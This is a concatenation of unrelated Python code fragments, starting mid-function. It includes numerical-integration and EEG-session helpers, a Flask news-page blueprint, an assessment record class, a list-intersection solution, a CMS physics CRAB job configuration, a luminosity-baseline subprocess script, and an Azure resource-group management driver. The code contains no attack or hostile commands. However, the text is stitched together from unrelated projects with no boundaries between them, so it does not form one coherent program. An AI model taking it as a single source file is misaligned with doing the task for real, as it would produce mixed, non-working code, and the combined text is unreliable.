        x_dict, f_dict, F_dict = self.cfF()
        int_df = self.compute_integral(x_dict, f_dict, F_dict)
        if self.save_dicts:
            save_results(int_df, "/ch3/integral_%s" %self.mode)
        if self.return_dicts:
            return(int_df, x_dict, f_dict, F_dict)
        else:
            return(int_df)

# Function for extracting a single session with eyes open/closed
def extract_session(data, subject_number, session_number, closed=True):
    # subject: int between 1 and 20
    # session_number: int between 1 and 5
    # closed: whether the eyes are closed or not
    df = data["subject_%s" %subject_number]
    si = list(df[(df["EyesClosed"] == 1)|(df["EyesOpened"] == 1)].index)
    eci = list(df[df["EyesClosed"] == 1].index)
    eoi = list(df[df["EyesOpened"] == 1].index)

    if closed:
        session_index = eci[session_number-1]
    else:
        session_index = eoi[session_number-1]

    if si[si.index(session_index)] == si[-1]:
        df_session = df[session_index:]
    else:
        df_session = df[session_index:si[si.index(session_index)+1]]

    return(df_session)

def save_results(results, filename):
    with open('pickle/%s.pickle' %(filename), 'wb') as handle:
        pickle.dump(results, handle, protocol=pickle.HIGHEST_PROTOCOL)

def load_results(filename):
    with open("pickle/%s.pickle" %(filename), "rb") as input_file:
        file = pickle.load(input_file)
    return(file)

def compute_ci(array, axis=1, level=0.05):
    n = len(array)
    m = np.mean(array, axis=axis)
    s = np.sqrt(np.var(array, axis=axis))/np.sqrt(n)
    t = stats.t.ppf(1 - level/2, n-1)
    uci = m + t*s
    lci = m - t*s
    return(uci, lci)

def uniform_grid(d, n):
    if "grid" not in globals().keys():
        grid = load_results("ch3/integral_Uniform")
    else:
        grid = globals()["grid"]
    return(grid.loc[d][n])

def p_nearest(X, idx, p):
    n, d = np.shape(X)
    dictionary = {}
    for i in range(d):
        dictionary[str(i)] = X[:,i]
    dist = np.linalg.norm(X[idx,:] - X, axis=1, ord=None)
    dictionary["Dist"] = dist
    df = pd.DataFrame(dictionary)
    sorted_df = df.sort_values(by="Dist")
    df_p = sorted_df[:p]
    return(df_p.drop(columns=["Dist"]).values)


from flask import abort, current_app, g

from ...services.news import service as news_service
from ...util.framework.blueprint import create_blueprint
from ...util.templating import templated

blueprint = create_blueprint('news', __name__)

@blueprint.route('/', defaults={'page': 1})
@blueprint.route('/pages/<int:page>')
@templated
def index(page):
    """Show a page of news items."""
    brand_id = g.party.brand_id
    items_per_page = _get_items_per_page_value()

    items = news_service.get_items_paginated(brand_id, page, items_per_page)

    return {
        'items': items,
        'page': page,
    }

@blueprint.route('/<slug>')
@templated
def view(slug):
    """Show a single news item."""
    brand_id = g.party.brand_id

    item = news_service.find_item_by_slug(brand_id, slug)

    if item is None:
        abort(404)

    return {
        'item': item,
    }

def _get_items_per_page_value():
    return int(current_app.config['NEWS_ITEMS_PER_PAGE'])


import uuid
import json
class Assessment:
    def __init__(self, email, startTime, deadlineTime, endTime):
        self.email = email
        self.assessment_key = str(uuid.uuid4()) #Create unique key
        self.startTime = startTime
        self.deadlineTime = deadlineTime
        self.endTime = endTime

    def asstToJson(self):
        return({'Assessment Key': self.assessment_key,
                'User email': self.email,
                'Start Time': str(self.startTime),
                'End Time': str(self.endTime),
                'Deadline Time': str(self.deadlineTime)})


class Solution(object):
    def intersection(self, nums1, nums2):
        """
        :type nums1: List[int]
        :type nums2: List[int]
        :rtype: List[int]
        """

        out = []
        for i in nums1:
            if ((i not in out) and (i in nums2)):
                out.append(i)

        return out


# -*- coding: utf-8 -*-
from CRABClient.UserUtilities import config
config = config()

config.General.requestName = 'Run2017C-17Nov2017-v1'
config.General.transferLogs = True

config.JobType.maxMemoryMB = 2500
config.JobType.pluginName = 'Analysis'
# Name of the CMSSW configuration file
config.JobType.psetName = 'runFilterSample2RecoMu_cfg.py'
config.JobType.allowUndistributedCMSSW = True

config.Data.inputDataset = '/SingleMuon/Run2017C-17Nov2017-v1/AOD'

config.Data.useParent = True
config.Data.splitting = 'LumiBased'
config.Data.unitsPerJob = 100
config.Data.publication = True
config.Data.outputDatasetTag = 'SingleMuon_Run2017C-17Nov2017-v1'

#    Select input data based on a lumi mask
config.Data.lumiMask = 'Cert_299337-302029_13TeV_PromptReco_Collisions17_JSON_eraC.txt'

#    Select input data based on run-ranges
config.Data.runRange = '299368-302029'

# Where the output files will be transmitted to
config.Site.storageSite = 'T3_US_FNALLPC'


import glob, os
import subprocess

def baseline(json):
    p1 = subprocess.Popen(["cat", json], stdout=subprocess.PIPE)
    p2 = subprocess.Popen(["brili"], stdin=p1.stdout, stdout=subprocess.PIPE)
    p1.stdout.close()
    output, err = p2.communicate()
    f = open("{}.txt".format(os.path.splitext(json)[0]), "w+")
    f.write("{}".format(int(output)))
    f.close()

if __name__ == "__main__":
    os.chdir("../unit")
    for file in glob.glob("*.json"):
        baseline(file)


##
##

import logging
import os
import configparser
from typing import Union, List
from azure.identity import AzureCliCredential
from azure.mgmt.compute import ComputeManagementClient
from azure.mgmt.network import NetworkManagementClient
from azure.mgmt.resource.resources import ResourceManagementClient
from azure.mgmt.resource.subscriptions import SubscriptionClient
from couchformation.config import AuthMode
from couchformation.exception import FatalError, NonFatalError
from couchformation.azure.driver.constants import get_auth_directory, get_config_default, get_config_main
from couchformation.azure.driver.constants import AzureDiskTiers

logger = logging.getLogger('couchformation.azure.driver.base')
logger.addHandler(logging.NullHandler())
logging.getLogger("azure").setLevel(logging.ERROR)
logging.getLogger("urllib3").setLevel(logging.ERROR)

class AzureDriverError(FatalError):
    pass

class EmptyResultSet(NonFatalError):
    pass

class CloudBase(object):

    def __init__(self, parameters: dict):
        self.parameters = parameters
        self.auth_directory = get_auth_directory()
        self.config_default = get_config_default()
        self.config_main = get_config_main()
        self.cloud_name = 'AzureCloud'
        self.local_context = None
        self.azure_subscription_id = None
        self.credential = None
        self.azure_resource_group = None
        self.azure_location = None
        self.azure_availability_zones = []
        self.azure_zone = None
        self.subscription_client = None

        if not parameters.get('auth_mode') or AuthMode[parameters.get('auth_mode')] == AuthMode.default:
            self.credential, self.azure_subscription_id = self.default_auth()
        else:
            raise AzureDriverError(f"Unsupported auth mode {parameters.get('auth_mode')}")

        if not self.credential or not self.azure_subscription_id:
            raise AzureDriverError("unauthorized (use az login)")

        self.resource_client = ResourceManagementClient(self.credential, self.azure_subscription_id)
        self.compute_client = ComputeManagementClient(self.credential, self.azure_subscription_id)
        self.network_client = NetworkManagementClient(self.credential, self.azure_subscription_id)

        self.azure_location = parameters.get('region')

        self.zones()

    @staticmethod
    def default_auth():
        try:
            credential = AzureCliCredential()
            subscription_client = SubscriptionClient(credential)
            subscriptions = subscription_client.subscriptions.list()
            azure_subscription_id = next((s.subscription_id for s in subscriptions), None)
            return credential, azure_subscription_id
        except Exception as err:
            raise AzureDriverError(f"Azure: unauthorized (use az login): {err}")

    def test_session(self):
        if len(self.azure_availability_zones) == 0:
            raise AzureDriverError(f"Unable to determine availability zones for location {self.azure_location}")

    @staticmethod
    def disk_size_to_tier(value: Union[int, str]):
        size = int(value)
        size_list = [int(i['disk_size']) for i in AzureDiskTiers.disk_tier_list]
        value = min([s for s in size_list if s >= size])
        return next(t for t in AzureDiskTiers.disk_tier_list if t['disk_size'] == str(value))

    @staticmethod
    def disk_caching(value: Union[int, str]):
        size = int(value)
        if size > 4095:
            return "None"
        else:
            return "ReadWrite"

    def read_config(self):
        if os.path.exists(self.config_main):
            config = configparser.ConfigParser()
            try:
                config.read(self.config_main)
            except Exception as err:
                raise AzureDriverError(f"can not read config file {self.config_main}: {err}")

            if 'cloud' in config:
                if 'name' in config['cloud']:
                    self.cloud_name = config['cloud']['name']

            if 'local_context' in config:
                try:
                    self.local_context = list(config['local_context'].keys())[0]
                except IndexError:
                    pass

        if os.path.exists(self.config_default):
            config = configparser.ConfigParser()
            try:
                config.read(self.config_default)
            except Exception as err:
                raise AzureDriverError(f"can not read config file {self.config_default}: {err}")

            if self.cloud_name in config:
                self.azure_subscription_id = config[self.cloud_name].get('subscription', None)

    def zones(self) -> list:
        zone_list = self.compute_client.resource_skus.list(filter=f"location eq '{self.azure_location}'")
        for group in list(zone_list):
            if group.resource_type == 'virtualMachines':
                for resource_location in group.location_info:
                    for zone_number in resource_location.zones:
                        self.azure_availability_zones.append(zone_number)

        self.azure_availability_zones = sorted(set(self.azure_availability_zones))

        if len(self.azure_availability_zones) == 0:
            raise AzureDriverError("can not get Azure availability zones")

        self.azure_zone = self.azure_availability_zones[0]
        return self.azure_availability_zones

    def create_rg(self, name: str, location: str, tags: Union[dict, None] = None) -> dict:
        if not tags:
            tags = {}
        if not tags.get('type'):
            tags.update({"type": "couch-formation"})
        try:
            if self.resource_client.resource_groups.check_existence(name):
                return self.get_rg(name, location)
            else:
                result = self.resource_client.resource_groups.create_or_update(
                    name,
                    {
                        "location": location,
                        "tags": tags
                    }
                )
                return result.__dict__
        except Exception as err:
            raise AzureDriverError(f"error creating resource group: {err}")

    def get_rg(self, name: str, location: str) -> Union[dict, None]:
        try:
            if self.resource_client.resource_groups.check_existence(name):
                result = self.resource_client.resource_groups.get(name)
                if result.location == location:
                    return result.__dict__
        except Exception as err:
            raise AzureDriverError(f"error getting resource group: {err}")

        return None

    def list_rg(self, location: Union[str, None] = None, filter_keys_exist: Union[List[str], None] = None) -> List[dict]:
        rg_list = []

        try:
            resource_groups = self.resource_client.resource_groups.list()
        except Exception as err:
            raise AzureDriverError(f"error getting resource groups: {err}")

        for group in list(resource_groups):
            if location:
                if group.location != location:
                    continue
            rg_block = {'location': group.location,
                        'name': group.name,
                        'id': group.id}
            rg_block.update(self.process_tags(group.tags))
            if filter_keys_exist:
                if not all(key in rg_block for key in filter_keys_exist):
                    continue
            rg_list.append(rg_block)

        if len(rg_list) == 0:
            raise EmptyResultSet(f"no resource groups found")

        return rg_list

    def delete_rg(self, name: str):
        try:
            if self.resource_client.resource_groups.check_existence(name):
                request = self.resource_client.resource_groups.begin_delete(name)
                request.wait()
        except Exception as err:
            raise AzureDriverError(f"error deleting resource group: {err}")

    def list_locations(self) -> List[dict]:
        location_list = []
        locations = self.subscription_client.subscriptions.list_locations(self.azure_subscription_id)
        for group in list(locations):
            location_block = {
                'name': group.name,
                'display_name': group.display_name
            }
            location_list.append(location_block)
        return location_list

    @staticmethod
    def process_tags(struct: dict) -> dict:
        block = {}
        if struct:
            for tag in struct:
                block.update({tag.lower() + '_tag': struct[tag]})
        block = dict(sorted(block.items()))
        return block

    def rg_switch(self):
        image_rg = f"cf-image-{self.azure_location}-rg"
        if self.get_rg(image_rg, self.azure_location):
            resource_group = image_rg
        else:
            resource_group = self.azure_resource_group
        return resource_group

    @property
    def region(self):
        return self.azure_location